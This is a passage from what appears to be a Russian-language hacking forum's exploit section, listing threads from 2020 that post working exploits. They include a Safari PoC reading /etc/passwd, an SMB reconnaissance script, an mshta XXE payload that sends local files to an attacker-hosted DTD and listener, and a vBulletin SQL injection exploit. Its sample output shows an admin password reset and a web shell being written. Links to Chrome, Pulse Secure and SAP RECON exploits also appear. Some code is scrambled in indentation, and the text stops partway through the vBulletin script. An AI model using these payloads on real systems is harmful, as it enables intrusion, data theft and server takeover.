After compiling copy the generated binary into the same folder with "evil.msi" and the Pulse Secure signed binary "PulseSecureInstallerService.exe". Then run it from command line.
For more information about the bug read -> https://www.redtimmy.com/privilege-escalation/pulse-secure-windows-client/ and [https://www.redtimmy.com/privilege-...6-toctou-privilege-escalation- cve-2020-13162/](https://www.redtimmy.com/privilege-escalation/pulse-secure- client-for-windows-9-1-6-toctou-privilege-escalation-cve-2020-13162/)

Click to expand...

exploit:

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fcef4a718d6c62e54872b56e54c4ca1f8cb23743f5080e6e25f0f894a77f9f8ad%2Fredtimmy%2Ftu- TOCTOU-kaiu-TOCMEU- CVE-2020-13162-&hash=3b401a797c5a0dd9dfed1d93749ee5e0&return_error=1)

[ GitHub - redtimmy/tu-TOCTOU-kaiu-TOCMEU-CVE-2020-13162-: Exploit for

CVE-2020-13162 ](https://github.com/redtimmy/tu-TOCTOU-kaiu-TOCMEU- CVE-2020-13162-)

Exploit for CVE-2020-13162. Contribute to redtimmy/tu-TOCTOU-kaiu-TOCMEU- CVE-2020-13162- development by creating an account on GitHub.

github.com github.com

RCE, Chrome <= 83.0.4103.61, CVE-2020-6507
ID: 67686ba3b4103b69df379cb4
Thread ID: 41415
Created: 2020-08-27T13:51:57+0000
Last Post: 2020-08-27T13:51:57+0000
Author: tabac
Prefix: Remote
Replies: 0 Views: 2K

1day эксплойт для CVE-2020-6507: Out of bounds write in V8.
Версии Chrome <= 83.0.4103.61

__

NVD - CVE-2020-6507

![nvd.nist.gov](/proxy.php?image=https%3A%2F%2Fnvd.nist.gov%2Fsite- media%2Fimages%2Ffavicons%2Ffavicon-32x32.png&hash=c2e63f3f7701e49493712e42a1b49706&return_error=1) nvd.nist.gov

www.rapid7.com

[ Google Chrome Vulnerability: CVE-2020-6507 Out of bounds write in V8

](https://www.rapid7.com/db/vulnerabilities/google-chrome-cve-2020-6507)

Rapid7's VulnDB is curated repository of vetted computer software exploits and exploitable vulnerabilities.

www.rapid7.com www.rapid7.com

Забираем эксп CVE-2020-6507 :)
https://github.com/r4j0x00/exploits/tree/master/chrome-exploit

Stealing local files, Safari Web Share API, CVE-N\A, 0-day
ID: 67686ba3b4103b69df379cb5
Thread ID: 41354
Created: 2020-08-26T11:35:39+0000
Last Post: 2020-08-27T13:46:24+0000
Author: weaver
Prefix: Remote
Replies: 2 Views: 2K

PoC

JavaScript:Copy to clipboard

<html>
<script>
var opts = {text: 'check out this cute kitten! http://somerandomimagewebsite.com/cat.jpg\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url:
/* 'file:///private/var/mobile/Library/Safari/History.db' */
'file:///etc/passwd'};

function run() {
 navigator.share(opts);
}
</script>
<body>
Check out this cute kitten!
<br/>
<img width="200px" height="200px" src="cat.jpg">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>

Подробности: <https://blog.redteam.pl/2020/08/stealing-local-files-using- safari-web.html>
Новости: https://xakep.ru/2020/08/25/safari-web-share-bug/

Arbitrary code execution\Bypass Secure Boot, grub2 < 2.06, CVE-2020-10713, BootHole
ID: 67686ba3b4103b69df379cb6
Thread ID: 40400
Created: 2020-08-03T17:12:59+0000
Last Post: 2020-08-03T17:12:59+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K
SMB v1-2 Information Gathering Exploit
ID: 67686ba3b4103b69df379cb7
Thread ID: 39938
Created: 2020-07-23T03:40:39+0000
Last Post: 2020-07-24T18:01:44+0000
Author: DarckSol
Prefix: Remote
Replies: 3 Views: 2K

######################################################################################################################

Exploit Title: SMB12 information gathering

SMB12 means it's capable of inspecting both SMB1 and SMB2 versions

the utility will extract varios attributes from SMB protocol of the

remote server such as

OS version (only supported by SMB1 as per protocol definition)

DNS computername, DNS domainname, NEtBIOS computername and NetBIOS domain

name (SMB1 and SMB2)

boot time and current time on the remote server (SMB1 and SMB2)

Server's GUID (SMB1 and SMB2)

Additional : NEtBIOS probe against UDP 137 (netbios session) to determine

server roles such as

-domain master browser

-domain controller

-server service

Date: 11-July-2020

Exploit Author: Ivica Stipovic

Vendor Homepage: www.microsoft.com

Software Link: intergrated as part of Windows OS

Version: SMB1 and SMB2

Tested on: Windows 7, Windows 10, Windows 2012 R2, Windows 2016, Windows

2019

Domain setup: Some OS-es were setup as WORKGROUP members and some as

DOMAIN

Objective: enhance system info returned by SMB protocol in comparison to

:

nmap smb-system-info.nse and metasploit smb_version and smb2 modules

Known Limitation: not designed for SAMBA implementations (Linux etc) - no

reliable detection/exception possible

Download link: https://github.com/adenosine-phosphatase/smb12info

###########################################################################################################

Click to expand...

Code:Copy to clipboard

import socket
import sys
import time
from datetime import datetime, timedelta
from struct import *
 
TCP_PORT=445
 
netbios_check=(
    "\x91\xe2"               # Transaction ID
    "\x00\x00"               # Flags
    "\x00\x01"              # Questions=1
    "\x00\x00"              # Answer RRs
    "\x00\x00"              # Authority RRs
    "\x00\x00"              # Additional RRs
    "\x20\x43\x4b\x41\x41\x41\x41\x41"  # Queries MSHOME/Type NB, Class IN
    "\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x00"
    "\x00\x21"              # NBSTAT (33)
    "\x00\x01")              # Class IN(1)
 
smb_helper_message=(
    "\x00"                 # NEtbios header - Message type 00
        "\x00\x00\x54"             # Length
    "\xff\x53\x4d\x42"           # SMB header-Server component
        "\x72"                 # SMB command - negotiate protocol
        "\x00"                 # NT Status - status_success
        "\x00"                 # NT Status
        "\x00\x00"               # NT Status
        "\x18"                 # Flags: 0x18
        "\x01\x28"               # Flags2
        "\x00\x00"               # Process ID High
        "\x00\x00\x00\x00\x00\x00\x00\x00"   # Signature
        "\x00\x00"               # Reserved
        "\x00\x00"               # Tree ID
        "\x2e\x6f"               # Process ID
        "\x00\x00"               # User ID
        "\x7f\xe6"               # Multiplex ID
    "\x00"                 # Word Count
        "\x31\x00"               # Byte count
        "\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" # Requested Dialects
        "\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00" # PC NETWORK PROGRAM 1.0
        "\x02\x4e\x54\x20\x4c\x41\x4e\x4d\x41\x4e\x20" # MICROSOFT NETWORKS 1.03
        "\x31\x2e\x30\x00"        
        "\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
 
smb_enahanced_helper_message=(
    "\x00"                # NetBIOS header - message type 
    "\x00\x00\x45"             # Length
    "\xff\x53\x4d\x42"           # Server Component -SMB2
    "\x72"                 # Header Length
    "\x00\x00\x00\x00"           # NT STATUS - status success
    "\x18"                 # Flags
    "\x53\xc8"               # Flags2
    "\x00\x00"               # Process ID High
    "\x00\x00\x00\x00\x00\x00\x00\x00"   # Signature=00000
    "\x00\x00"               # Reserved=0000
    "\xff\xff"               # Tree ID
    "\xff\xfe"               # Process ID
    "\x00\x00"               # User ID
    "\x00\x00"               # Multiplex ID
    "\x00"                 # Word Count
    "\x22\x00"               # Byte count
    "\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" # Requested dialects - this is
    "\x02\x53\x4d\x42\x20\x32\x2e\x30\x30\x32\x00"     # the main difference to initial SMB1
    "\x02\x53\x4d\x42\x20\x32\x2e\x3f\x3f\x3f\x00")    # request
 
smb2_helper_message=(
    "\x00"                 # NetBIOS message type
    "\x00\x00\xae"             # Length
    "\xfe\x53\x4d\x42"           # SMB2 -Protocol ID
    "\x40\x00"               # Header Length
    "\x00\x00"               # Credit Charge
    "\x00\x00"               # Channel sequence
    "\x00\x00"               # Reserved
    "\x00\x00"               # Negotiate Protocol
    "\x00\x00"               # Credits requested
    "\x00\x00\x00\x00"           # Flags
    "\x00\x00\x00\x00"           # Chain offset
    "\x01\x00\x00\x00\x00\x00\x00\x00"   # Message ID - unknown=1
    "\xff\xfe\x00\x00"           # PRocess ID
    "\x00\x00\x00\x00"           # Tree ID
    "\x00\x00\x00\x00\x00\x00\x00\x00"   # Session ID
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Signature 
    "\x24\x00"               # Structure size
    "\x05\x00"               # Dialect count
    "\x01\x00"               # Security mode / signing enabled
    "\x00\x00"               # Reserved
    "\x7f\x00\x00\x00"           # Capabilities
    "\x86\xcc\xaa\x67\xca\xb6\xea\x11\x91\xb1\xfd\x77\x48\xa7\x6a\x3c" # Client GUID 
    "\x70\x00\x00\x00"           # NegotiateContextOffset  
    "\x02\x00"               # NEgotiateContextCount
    "\x00\x00"               # Reserved
    "\x02\x02"               # Dialect 1
    "\x10\x02"               # Dialect 2
    "\x00\x03"               # Dialect 3
    "\x02\x03"               # Dialect 4
    "\x11\x03"               # Dialect 5
    "\x00\x00"               # unknonw
    "\x01\x00"               # DataType SMB_PREAUTH
    "\x26\x00"               # Datalength
    "\x00\x00\x00\x00"           # Reserved
    "\x01\x00"               # Hash Algorithm
    "\x20\x00"               # salt length
    "\x01\x00"               # Hash algorithm SHA-512
    "\xd3\x2f\xfe\xad\x6b\xc5\x32\xbb"   # Salt (32 bytes)
    "\x44\x29\x7d\x56\x33\x69\xcd\xe7"
    "\x42\x1c\x20\x53\x85\x16\x97\xc5"
    "\x01\xec\x80\x12\x6a\x9b\xbe\x2d"
    "\x00\x00"               # unknown
    "\x02\x00"               # SMB2_encryption_capabilities
    "\x06\x00"               # Datalength
    "\x00\x00\x00\x00"           # Reserved
    "\x02\x00"               # Cipher count
    "\x02\x00"               # Cipher ID
    "\x01\x00")             # Cipher ID
     
smb_helper_message_security_blob=(
    "\x00"                 # NetBIOS message type
    "\x00\x00\x8f"             # Length
    "\xff\x53\x4d\x42"           # SMB1 Server Component
    "\x73"                 # Session Setup AndX (0x73)
    "\x00"                 # Error class=success
    "\x00"                 # Reserved
    "\x00\x00"               # Error Code=no error
    "\x18"                 # Flags
    "\x01\x28"               # Flags2
    "\x00\x00"               # Process ID High
    "\x00\x00\x00\x00\x00\x00\x00\x00"   # Signature
    "\x00\x00"               # Reserved
    "\x00\x00"               # Tree ID
    "\x2e\x6f"               # Process ID
    "\x00\x00"               # User ID  
    "\x7f\xe6"               # Multiplex ID
    "\x0c"                 # Word Count
    "\xff"                 # AndX Command=no further commands
    "\x00"                 # Reserved
    "\x00\x00"               # AndXOffset=0
    "\xdf\xff"               # Max Buffer
    "\x02\x00"               # Max Mpx Count
    "\x01\x00"               # VC Number
    "\x00\x00\x00\x00"           # Session Key
    "\x31\x00"               # Security Blob Length
    "\x00\x00\x00\x00"           # Reserved
    "\xd4\x00\x00\x80"           # Capabilities
    "\x54\x00"              # Byte Count
    "\x4e\x54\x4c\x4d\x53\x53\x50\x00"  # NTLMSSP identifier  
    "\x01\x00\x00\x00"           # NTLM Message Type = NTLMSSP_NEGOTIATE
    "\x05\x02\x88\xa2"           # Negotiate flags
    "\x01\x00\x01\x00\x20\x00\x00\x00\x10\x00\x10\x00\x21\x00\x00\x00"    #Calling Wkst domain 
    "\x2e"                  
    "\x32\x54\x64\x44\x36\x30\x77\x62\x4e\50\x36\47\x39\x61\x66\x76"     # Calling wkst name
    "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32"                   # Native OS Win2000
    "\x30\x30\x30\x20\x32\x31\x39\x35\x00"                   # Native LAN Manager
          "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32"
    "\x30\x30\x30\x20\x35\x2e\x30\x00")
 
smb2_helper_ntlmssp_message= (
    "\x00"                # Netbios Message Type     
    "\x00\x00\xa2"             # Length
    "\xfe\x53\x4d\x42"           # Server Component, ex: SMB2
    "\x40\x00"               # Header Length
    "\x01\x00"               # Credit Charge
    "\x00\x00"               # Channel sequence
    "\x00\x00"               # Reserved
    "\x01\x00"               # Session Setup
    "\x21\x00"               # Credits requested
    "\x10\x00\x00\x00"           # Flags
    "\x00\x00\x00\x00"           # Chain Offset
    "\x02\x00\x00\x00\x00\x00\x00\x00"   # Message ID
    "\xff\xfe\x00\x00"            # Process ID
    "\x00\x00\x00\x00"            # Tree ID
    "\x00\x00\x00\x00\x00\x00\x00\x00"   # Session ID
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Signature
    "\x19\x00"               # Structure size
    "\x00"                 # Flags
    "\x02"                 # Security mode
    "\x01\x00\x00\x00"           # Capabilities
    "\x00\x00\x00\x00"           # Channel
    "\x58\x00"               # Previous session ID
    "\x4a\x00"               # Blob length
    "\x00\x00\x00\x00\x00\x00\x00\x00"   # Previos Session ID
    "\x60\x48\x06\x06\x2b\x06\x01\x05"   # GSS-API Generic Security Service 
    "\x05\x02\xa0\x3e\x30\x3c\xa0\x0e"   # Simple Protected NEgotiation
    "\x30\x0c\x06\x0a\x2b\x06\x01\x04"   # mechtypes + NTLM Secure Service Provider
    "\x01\x82\x37\x02\x02\x0a\xa2\x2a"
    "\x04\x28\x4e\x54\x4c\x4d\x53\x53"
    "\x50\x00\x01\x00\x00\x00\x97\x82"
    "\x08\xe2\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x0a\x00\xee\x42\x00\x00"
    "\x00\x0f")
       
 
def print_smb12_system_info (smb_type,data2):
   
  netbios_header=4
 
  if smb_type==1:
    smb_header=32
  else:
    smb_header=64
   
        blob_offset=netbios_header+smb_header
        offset=0
      index=0
      size=len (data2)
             
  pattern=0
      security_blob="4e544c4d535350"
      control=""
 
      for t in data2[blob_offset:size-blob_offset]:
     
    for x in data2[blob_offset+offset:blob_offset+offset+7]:
      control=control+"{:02x}".format(ord(x),"x")  
       
 
                 if security_blob==control:
 
      index=blob_offset+offset
      index=index+12
         
      targetnamelen=int(ord(data2[index:index+1][::-1]))
 
      index=index+28
      index=index+16
 
         
      targetname=data2[index:index+targetnamelen]      
      targetinfoitemlen=int(ord(data2[index+targetnamelen+2]))
       
      netbiosname=data2[index+targetnamelen+4:index+targetnamelen+4+targetinfoitemlen]
         
      netbioscomputernamelen=int(ord(data2[index+targetnamelen+4+targetinfoitemlen+2]))
      index=index+targetnamelen+4+targetinfoitemlen+2
 
      netbioscomputername=data2[index+2:index+2+netbioscomputernamelen]
       
      dnsdomainnamelen=int(ord(data2[index+2+netbioscomputernamelen+2]))
       index=index+2+netbioscomputernamelen+2
 
      dnsdomainname=data2[index+2:index+2+dnsdomainnamelen]
       
      dnscomputernamelen=int(ord(data2[index+2+dnsdomainnamelen+2]))
      index=index+2+dnsdomainnamelen+2
 
      dnscomputername=data2[index+2:index+2+dnscomputernamelen]
       
      print "[+] Target Name:", targetname
      print "[+] Netbios Domainname:",netbiosname
      print "[+] Netbios Computername:", netbioscomputername
      print "[+] DNS Domain Name:", dnsdomainname
      print "[+] DNS Computer Name:", dnscomputername
           
      index=index+2+dnscomputernamelen
       
# Check for DNS tree info item type - must be 5, anything else means not a domain member
       
      if int(ord(data2[index]))==5:
        dnstreelen=int(ord(data2[index+2]))
               
        print "[+] DNS Tree Name:", data2[index+2:index+2+dnstreelen+1]
        index=index+2+dnstreelen+2
 
# Skip over 16 bytes (timestamp=12 bytes + end-of-list=4 bytes
               
      index=index+16
       
      if size-index>0:
       
        print "[+] OS info:",data2[index-2:size]
   
    offset+=1
    control=""
 
def netbios_fingerprint():
 
  sockUDP=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  try:  
    sockUDP.sendto(netbios_check,(TCP_IP,137))
    sockUDP.settimeout(3)    
    dataUDP,addrUDP=sockUDP.recvfrom(1024)
     
    number_of_names=int(ord(dataUDP[56]))
     
    delta=0
    names_offset=57
    role=0
     
    for x in range(number_of_names):
       
      role=int(ord(dataUDP[names_offset+(x+1)*16-1+delta]))            
      if role==0:
        print ("[+] NetBIOS Role: Workstation/Redirector")
      elif role==32:
        print ("[+] NetBIOS Role: Server Service")
      elif role==28:
        print ("[+] NetBIOS Role: Domain Controller")
      elif role==27:
        print ("[+] NetBIOS Role: Domain Master Browser") 
      delta+=2
   
  except socket.timeout:
    print "[-] No response from NetBIOS"
    sockUDP.close()
   
def send_smb_request(message_type,sock_type):
 
  sock_type.sendall(message_type)
  resp,addr=sock_type.recvfrom(1024)
  return resp
 
def print_smb1_guid(smb1_guid_data):
 
   guidA_id=""
   guidB_id=""
   guidC_id=""
   guidD_id=""
   guidE_id=""
   for x in temp_data[73:77]:  
    guidA_id=guidA_id+"{:02x}".format(ord(x),"x")
       
       for x in temp_data[77:79]:
    guidB_id=guidB_id+"{:02x}".format(ord(x),"x")
 
       for x in temp_data[79:81]:
    guidC_id=guidC_id+"{:02x}".format(ord(x),"x")
 
       for x in temp_data[81:83]:
    guidD_id=guidD_id+"{:02x}".format(ord(x),"x")
 
       for x in temp_data[83:89]:
          guidE_id=guidE_id+"{:02x}".format(ord(x),"x")
     
       print "[+] Server GUID:" ,guidA_id+'-'+guidB_id+'-'+guidC_id+'-'+guidD_id+'-'+guidE_id
 
def print_system_time(start_time,end_time,time_type):
 
# time_type=0 then boot time
# time_type=1 then current time
 
  dx=""
  for y in temp_data[start_time:end_time][::-1]:
    dx=dx+"{:02x}".format(ord(y),"x")
 
      if dx!="0000000000000000":
        us=int(dx,16) / 10.
    if time_type==0:
             print "[+] Boot time:",datetime(1601,1,1) + timedelta(microseconds=us)    
    else:
      print "[+] Current time:", datetime(1601,1,1) + timedelta(microseconds=us)
      else:
    if time_type==0:    
      print "[-] Boot time not specified"
    else:
      print "[+] Current time not specified"
      dx=""
 
 
if len(sys.argv)!=2:
    print ("usage: python smbinject.py <ip address>")
    sys.exit()
else:
    TCP_IP=sys.argv[1]
 
#====================================
# Negotiate Protocol Request sequence
#=====================================
 
print ("[+] Trying NetBIOS fingerprint...")
 
netbios_fingerprint()
 
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((TCP_IP,TCP_PORT))
 
try:
    print ("[+] Starting SMB1 check")
    temp_data=send_smb_request(smb_helper_message,sock)  
    smb_dialect=temp_data[72:74]
   
    current_time_start=60
    current_time_stop=68
 
    print_system_time(current_time_start,current_time_stop,1)
    print_smb1_guid(temp_data)
 
    print ("[+] SMB1 dialect detected")
    time.sleep(1) 
 
    data=send_smb_request(smb_helper_message_security_blob,sock)
    print ("[+] SMB response")
     
    smb=1
    print_smb12_system_info (smb,data)
 
except socket.error,ex:
    print ("[-] Server reset SMB1 negotiation. Trying SMB2 ...")
    sock2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock2.connect((TCP_IP,TCP_PORT))
   
    temp_data=send_smb_request(smb_enahanced_helper_message,sock2)
  
    guid1_id=""
    guid2_id=""
    guid3_id=""
    guid4_id=""
    guid5_id=""
 
    for x in temp_data[76:80][::-1]:  
  guid1_id=guid1_id+"{:02x}".format(ord(x),"x")
       
    for x in temp_data[80:82][::-1]:
  guid2_id=guid2_id+"{:02x}".format(ord(x),"x")
 
    for x in temp_data[82:84][::-1]:
  guid3_id=guid3_id+"{:02x}".format(ord(x),"x")
 
    for x in temp_data[84:86]:
  guid4_id=guid4_id+"{:02x}".format(ord(x),"x")
 
    for x in temp_data[86:92]:
        guid5_id=guid5_id+"{:02x}".format(ord(x),"x")
     
    print "[+] Server GUID:" ,guid1_id+'-'+guid2_id+'-'+guid3_id+'-'+guid4_id+'-'+guid5_id
     
    dt=""
 
    current_time_start=108
    current_time_stop=116
    boot_time_start=116
    boot_time_stop=124
 
    print_system_time(current_time_start,current_time_stop,1)
    print_system_time(boot_time_start,boot_time_stop,0)
 
    time.sleep(2)   
  
    send_smb_request(smb2_helper_message,sock2)
    time.sleep(1)
   
    data2=send_smb_request(smb2_helper_ntlmssp_message,sock2)   
 
    smb=2
    print_smb12_system_info (smb,data2)
 
    sock2.close()
 
sock.close()

0day.today [2020-07-23]

Directory traversal\upload any *.zip, SAP Java NetWeaver, CVE-2020-6286\6287, RECON
ID: 67686ba3b4103b69df379cb8
Thread ID: 39685
Created: 2020-07-16T12:54:45+0000
Last Post: 2020-07-16T12:54:45+0000
Author: tabac
Prefix: Web
Replies: 0 Views: 2K

PoC для CVE-2020-6287 и CVE-2020-6286 (SAP RECON vulnerability)

__

[ CVE - CVE-2020-6286 ](https://cve.mitre.org/cgi-

bin/cvename.cgi?name=CVE-2020-6286)

cve.mitre.org

__

[ CVE - CVE-2020-6287 ](https://cve.mitre.org/cgi-

bin/cvename.cgi?name=CVE-2020-6287)

cve.mitre.org

This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.

Directory traversal allows to download any zip from SAP server.

Click to expand...

Баг еще в мае текущего года обнаружили эксперты из ИБ-компании Onapsis, специализирующейся на облачной безопасности. Уязвимости дали название RECON (аббревиатура от Remotely Exploitable Code On NetWeaver) и она получила 10 баллов из 10 по шкале оценки уязвимостей CVSSv3. Напомню, что такая оценка означает, что ошибка крайне проста в использовании, и ее эксплуатация почти не требует технических знаний. Также уязвимость может быть использована для автоматизированных удаленных атак и не требует, чтобы злоумышленник уже имел учетную запись в приложении SAP или знал чужие учетные данные.

Баг находится в компоненте по умолчанию, который входит в состав всех SAP- приложений, работающих на стеке Java SAP NetWeaver версий 7.30-7.5. Речь о компоненте LM Configuration Wizard, который является частью SAP NetWeaver Application Server (AS) .

В своем отчете исследователи предупреждали, что проблема позволяет злоумышленникам, минуя все средства контроля доступа и авторизации, создавать новые учетные записи для SAP-приложений, доступных из интернета, с максимальными привилегиями. По сути это даст хакерам полный контроль над SAP-ресурсами скомпрометированных компаний.

Специалисты Onapsis предполагают, что число компаний, которым угрожает данная проблема, равно примерно 40 000, хотя не все они «светят» уязвимыми приложениями в интернете. Так, проведенное исследователями сканирование показало, что в сети можно обнаружить около 2500 SAP-систем, которые в настоящее время уязвимы перед RECON (33% в Северной Америке, 29% в Европе и 27% в Азиатско-Тихоокеанском регионе).

Также на этой неделе инженеры SAP устранили еще одну уязвимость, отслеживаемую как [CVE-2020-6286](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2020-6286). Этот баг позволяет неавторизованному злоумышленнику загружать файлы ZIP в определенный каталог, что в итоге приводит к обходу каталога.

Click to expand...

Эксплойт:

github.com

[ GitHub - chipik/SAP_RECON: PoC for CVE-2020-6287, CVE-2020-6286 (SAP

RECON vulnerability) ](https://github.com/chipik/SAP_RECON)

PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability) - chipik/SAP_RECON

github.com github.com

XML External Entity Injection, Microsoft Windows mshta.exe 2019, CVE: N/A
ID: 67686ba3b4103b69df379cb9
Thread ID: 39501
Created: 2020-07-11T04:23:42+0000
Last Post: 2020-07-16T11:56:09+0000
Author: DarckSol
Prefix: Remote
Replies: 2 Views: 2K

Exploit Title: Microsoft Windows mshta.exe 2019 - XML External Entity

Injection

Date: 2020-07-07

Exploit Author: hyp3rlinx

Vendor homepage: https://www.microsofft.com/

CVE: N/A

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: [http://hyp3rlinx.altervista.org/adv...TA-HTA-FILE-XML-EXTERNAL- ENTITY-INJECTION.txt](http://hyp3rlinx.altervista.org/advisories/MICROSOFT- WINDOWS-MSHTA-HTA-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt)
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows MSHTA.EXE .HTA File

An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more
scripting languages supported by Internet Explorer, such as VBScript or JScript. The HTML is used to generate the
user interface, and the scripting language is used for the program logic. An HTA executes without the constraints
of the internet browser security model; in fact, it executes as a "fully trusted" application.

[Vulnerability Type]
XML External Entity Injection

[Impact]
Information disclosure, Recon

[CVE Reference]
N/A

[Security Issue]
Windows mshta.exe allows processing of XML External Entitys, this can result in local data-theft and or program reconnaissance upon opening
specially crafted HTA files. From an attacker perspective, since we are not dependent on scripting languages like Javascript, VBScript or
WScript.Shell, we may have better chances at subverting endpoint protection systems as we are only using XML markup.

HTA exploits found online typically show code execution, with reliance on ActiveX Objects and scripting engines and hence are more
easily detected by security products. Many of these exploits also use payload obfuscation techniques for stealth. However, I found nothing
publicly documented that leverages XML injection targeting the mshta.exe HTA file-type.

Yea I know, no code execution. However, we get stealthy data theft with recon capabilities. Armed with this info, we can more accurately
target potential software vulnerabilities at a later date from info gathering a systems program installations. Usually, this type of recon
is seen in first-stage malware infections using the Windows CreateToolhelp32Snapshot API.

Therefore, since theres no documented HTA exploits using XXE attacks for this file type, I release the advisory.
Successfully tested on Windows 10 and Windows Servers 2016, 2019.

[Exploit/POC]
Multi program recon and check if running in a Virtual Machine all in a single HTA file, change IP accordingly.

  1. "Doit.hta"

Code:Copy to clipboard

<?xml version="1.0"?>
<!-- VMware check -->
<xml>
<!DOCTYPE xxe4u [
<!ENTITY % file SYSTEM "C:\ProgramData\VMware\VMware Tools\manifest.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>

<!-- Notepad++ install check -->
<xml>
<!DOCTYPE xxe4u [
<!ENTITY % file SYSTEM "C:\Program Files (x86)\Notepad++\change.log">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>

<!-- McAfee AV install check -->
<xml>
<!DOCTYPE xxe4u [
<!ENTITY % file SYSTEM "C:\ProgramData\McAfee\MCLOGS\VSCoreVersionInfo.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
<HTA:APPLICATION WINDOWSTATE="minimize" />
  1. The "datatears.dtd" DTD file hosted on attackers server.

Code:Copy to clipboard

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;
  1. Local Python v3 web-server listening on port 8000 to receive victims info.

python -m http.server

[POC Video URL]

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
MSHTA .HTA files are classified untrusted, many threats already well known.
July 4, 2020 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
--

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Fimages%2Fspider- orange.png&hash=b9926ee90dd7e270c1508ce4a1ce7729&return_error=1)

[ Microsoft Windows mshta.exe 2019 - XML External Entity Injection

](https://www.exploit-db.com/exploits/48650)

Microsoft Windows mshta.exe 2019 - XML External Entity Injection.. remote exploit for XML platform

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Fexploits%2F48650%2F&hash=f396dd18c189a24d014ddffd4c9d19dc&return_error=1) www.exploit-db.com

SQL-Injection, vBulletin 5.6.1 - 'nodeId', CVE-2020-12720
ID: 67686ba3b4103b69df379cbb
Thread ID: 37373
Created: 2020-05-15T21:02:23+0000
Last Post: 2020-07-08T18:44:14+0000
Author: tabac
Prefix: Web
Replies: 3 Views: 2K

vBulletin 5.6.1 - 'nodeId' SQL Injection

Date: 2020-05-15

Version: vBulletin v5.6.x (до Patch Level 1)

Тестировалось: vBulletin v5.6.1 на Debian 10 x64

CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE

Запуск эксплойта:

Code:Copy to clipboard

$ python3 exploit.py http://localhost/vb/
[+] Host is up and vulnerable
[+] Table prefix tableprefix_
[+] admin original token $2y$15$lP7uTPrHIE6JTGnWI3rTCOGp9YEMUX72NrJSAEXGgIFxy/.RqMl.a
[+] Captcha ZY3E2a
[+] Resetting password
[!] new admin credentials {admin:P4$$w0rd!}
[+] Writing shell
[!] GOT SHELL

Spoiler: эксплойт

Python:Copy to clipboard

#!/usr/bin/env python3
# rekter0, zenofex

import requests
import sys
from random import randint

if (len(sys.argv)<2 ):
    print('[*] usage: ./'+sys.argv[0]+' http://host/forum')
    exit()

url = sys.argv[1]

#CHECK
s = requests.Session()
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"vbulletinrcepoc",8,7,6,5,4,3,2,1;-- -'})

if not 'vbulletinrcepoc' in r.text:
    print('[-] not vulnerable')
    exit()

print('[+] Host is up and vulnerable')

# GET TABLES PREFIXES
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';-- -'})
table_prefix=r.json()['rawtext'].split('language')[0]

print('[+] Table prefix '+table_prefix)

# GET ADMIN DETAILS
# assuming admin groupid=6, default install groups unchanged
